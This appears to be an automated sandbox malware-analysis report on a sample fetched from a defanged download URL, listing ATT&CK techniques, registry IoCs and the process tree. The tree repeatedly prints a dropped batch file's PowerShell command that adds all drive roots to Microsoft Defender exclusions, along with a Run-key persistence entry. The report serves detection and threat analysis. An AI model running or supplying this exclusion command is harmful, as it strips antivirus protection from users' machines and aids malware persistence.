hxxps://freemasonry[.]dev/dl/0d5397429794f2389bf0a8d87f8eb3a6/raw

Analysis

user interaction
yes
max time kernel
149s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
07/08/2026, 19:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://freemasonry.dev/dl/0d5397429794f2389bf0a8d87f8eb3a6/raw
Sample260807-x2d4wasbre

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3004	powershell.exe
2016	powershell.exe
4560	powershell.exe
4088	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
35	4356	msedge.exe

Executes dropped EXE 4 IoCs

pid	Process
2884	ssidviewer.bat
4188	ssidviewer.bat
1432	ssidviewer.bat
2076	ssidviewer.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 4 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
2508	cmd.exe
1420	cmd.exe
1320	cmd.exe
4880	cmd.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ssidviewer = "C:\\Users\\Admin\\AppData\\Roaming\\ssidviewer.exe"	ssidviewer.bat
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ssidviewer = "C:\\Users\\Admin\\AppData\\Roaming\\ssidviewer.exe"	ssidviewer.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 4 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
2508	cmd.exe
1420	cmd.exe
1320	cmd.exe
4880	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4356	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134306040499937336"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1788976790-1541110888-1636651838-1000\{AE6F1048-6E4C-4DC6-ABB2-DD317548D16A}	msedge.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
2016	powershell.exe
2016	powershell.exe
2016	powershell.exe
4560	powershell.exe
4560	powershell.exe
4560	powershell.exe
4088	powershell.exe
4088	powershell.exe
4088	powershell.exe
2264	msedge.exe
2264	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeDebugPrivilege	2016	powershell.exe
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeDebugPrivilege	4088	powershell.exe

Suspicious use of FindShellTrayWindow 42 IoCs

pid	Process
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 4544 wrote to memory of 2180	4544	msedge.exe	85
PID 4544 wrote to memory of 4356	4544	msedge.exe	86
PID 4544 wrote to memory of 752	4544	msedge.exe	88
PID 4544 wrote to memory of 4324	4544	msedge.exe	87
PID 4544 wrote to memory of 752	4544	msedge.exe	88
PID 4544 wrote to memory of 4324	4544	msedge.exe	87
PID 4544 wrote to memory of 4324	4544	msedge.exe	87
PID 4544 wrote to memory of 3436	4544	msedge.exe	89
PID 4544 wrote to memory of 4552	4544	msedge.exe	90
PID 4544 wrote to memory of 3436	4544	msedge.exe	89
PID 4544 wrote to memory of 3436	4544	msedge.exe	89
PID 4544 wrote to memory of 4552	4544	msedge.exe	90
PID 4544 wrote to memory of 4552	4544	msedge.exe	90
PID 4544 wrote to memory of 2412	4544	msedge.exe	92
PID 4544 wrote to memory of 4884	4544	msedge.exe	93
PID 4544 wrote to memory of 2412	4544	msedge.exe	92
PID 4544 wrote to memory of 2412	4544	msedge.exe	92
PID 4544 wrote to memory of 4884	4544	msedge.exe	93
PID 4544 wrote to memory of 4884	4544	msedge.exe	93
PID 4544 wrote to memory of 3280	4544	msedge.exe	97
PID 4544 wrote to memory of 3280	4544	msedge.exe	97
PID 4544 wrote to memory of 3344	4544	msedge.exe	98
PID 4544 wrote to memory of 3344	4544	msedge.exe	98
PID 4544 wrote to memory of 4856	4544	msedge.exe	99
PID 4544 wrote to memory of 4856	4544	msedge.exe	99
PID 4544 wrote to memory of 652	4544	msedge.exe	100
PID 4544 wrote to memory of 652	4544	msedge.exe	100
PID 4544 wrote to memory of 652	4544	msedge.exe	100
PID 4544 wrote to memory of 1696	4544	msedge.exe	101
PID 4544 wrote to memory of 1264	4544	msedge.exe	104
PID 4544 wrote to memory of 2884	4544	msedge.exe	106
PID 2884 wrote to memory of 2508	2884	ssidviewer.bat	108
PID 2508 wrote to memory of 4868	2508	cmd.exe	110
PID 2508 wrote to memory of 3004	2508	cmd.exe	111
PID 4544 wrote to memory of 4188	4544	msedge.exe	112
PID 4188 wrote to memory of 1420	4188	ssidviewer.bat	113
PID 4544 wrote to memory of 1432	4544	msedge.exe	115
PID 1420 wrote to memory of 3520	1420	cmd.exe	116
PID 1420 wrote to memory of 2016	1420	cmd.exe	117
PID 1432 wrote to memory of 1320	1432	ssidviewer.bat	118
PID 1320 wrote to memory of 912	1320	cmd.exe	120
PID 1320 wrote to memory of 4560	1320	cmd.exe	121
PID 2076 wrote to memory of 4880	2076	ssidviewer.exe	125
PID 4880 wrote to memory of 4968	4880	cmd.exe	127
PID 4880 wrote to memory of 4088	4880	cmd.exe	128
PID 4544 wrote to memory of 4488	4544	msedge.exe	136
PID 4544 wrote to memory of 628	4544	msedge.exe	137
PID 4544 wrote to memory of 3368	4544	msedge.exe	138
PID 4544 wrote to memory of 1956	4544	msedge.exe	143
PID 4544 wrote to memory of 1956	4544	msedge.exe	143
PID 4544 wrote to memory of 4244	4544	msedge.exe	144
PID 4544 wrote to memory of 4244	4544	msedge.exe	144
PID 4544 wrote to memory of 2416	4544	msedge.exe	146
PID 4544 wrote to memory of 2416	4544	msedge.exe	146
PID 4544 wrote to memory of 2264	4544	msedge.exe	148

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://freemasonry.dev/dl/0d5397429794f2389bf0a8d87f8eb3a6/raw
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x23c,0x240,0x244,0x238,0x2f4,0x7ffc32edc188,0x7ffc32edc194,0x7ffc32edc1a0
  2⤵
  PID:2180
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1756,i,12176721198347698722,4387479446952510608,524288 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:3
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:4356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1628,i,6002420275871747780,8339052609449192398,262144 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=2224 /prefetch:2
  2⤵
  PID:4324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2492,i,17312843683776834089,8763236319312632481,524288 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=3060 /prefetch:8
  2⤵
  PID:752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3444,i,709401145446392626,9789638042419329164,2097152 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:1
  2⤵
  PID:3436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3448,i,6773932279023384197,6481430315901946331,2097152 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:1
  2⤵
  PID:4552
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4176,i,17735162248144210559,12828501950358095541,2097152 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=4216 /prefetch:1
  2⤵
  PID:2412
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4184,i,5234235113729326230,1872401010608418229,2097152 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=4228 /prefetch:2
  2⤵
  PID:4884
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5132,i,14529953571678639039,10672532237948072970,524288 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=5200 /prefetch:8
  2⤵
  PID:3280
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5140,i,15689670682071168534,1130866450287016040,524288 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=5220 /prefetch:8
  2⤵
  PID:3344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5344,i,10646724073533933266,10417500639466772619,524288 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=5680 /prefetch:8
  2⤵
  PID:4856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5692,i,17470950053824559718,3032378225285512993,2097152 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=5728 /prefetch:1
  2⤵
  PID:652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5980,i,1056656006640501828,4801648463486680659,524288 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=6020 /prefetch:8
  2⤵
  PID:1696
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6448,i,947376507722832149,3541330871788855025,524288 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=6460 /prefetch:8
  2⤵
  PID:2632
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6448,i,947376507722832149,3541330871788855025,524288 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=6460 /prefetch:8
  2⤵
  PID:1264
- C:\Users\Admin\Downloads\ssidviewer.bat
  "C:\Users\Admin\Downloads\ssidviewer.bat"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious use of WriteProcessMemory
    PID:2508
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:4868
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3004
- C:\Users\Admin\Downloads\ssidviewer.bat
  "C:\Users\Admin\Downloads\ssidviewer.bat"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4188
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious use of WriteProcessMemory
    PID:1420
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:3520
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2016
- C:\Users\Admin\Downloads\ssidviewer.bat
  "C:\Users\Admin\Downloads\ssidviewer.bat"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:1432
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious use of WriteProcessMemory
    PID:1320
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4560
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4248,i,13279380005269645563,20708755305795875,524288 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=6476 /prefetch:8
  2⤵
  PID:4488
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4400,i,7364981756482420722,2076604055813402035,524288 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:8
  2⤵
  PID:628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4284,i,17926088890933908378,599584301438580238,524288 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=564 /prefetch:8
  2⤵
  PID:3368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2852,i,17176767692460990918,9687391394588108276,524288 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=5172 /prefetch:8
  2⤵
  PID:1956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5832,i,9521119618789930789,13328780918919312268,524288 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=5840 /prefetch:8
  2⤵
  PID:4244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4536,i,213809278741278344,14451716325428688489,524288 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=752 /prefetch:8
  2⤵
  PID:2416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6708,i,675877303395908071,7420408804938691417,262144 --field-trial-handle=2228,i,11219890135537241018,15882855282431948662,262144 --variations-seed-version --mojo-platform-channel-handle=5232 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2264

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1720

C:\Users\Admin\AppData\Roaming\ssidviewer.exe
C:\Users\Admin\AppData\Roaming\ssidviewer.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2076
- C:\Windows\system32\cmd.exe
  cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious use of WriteProcessMemory
  PID:4880
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4088

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

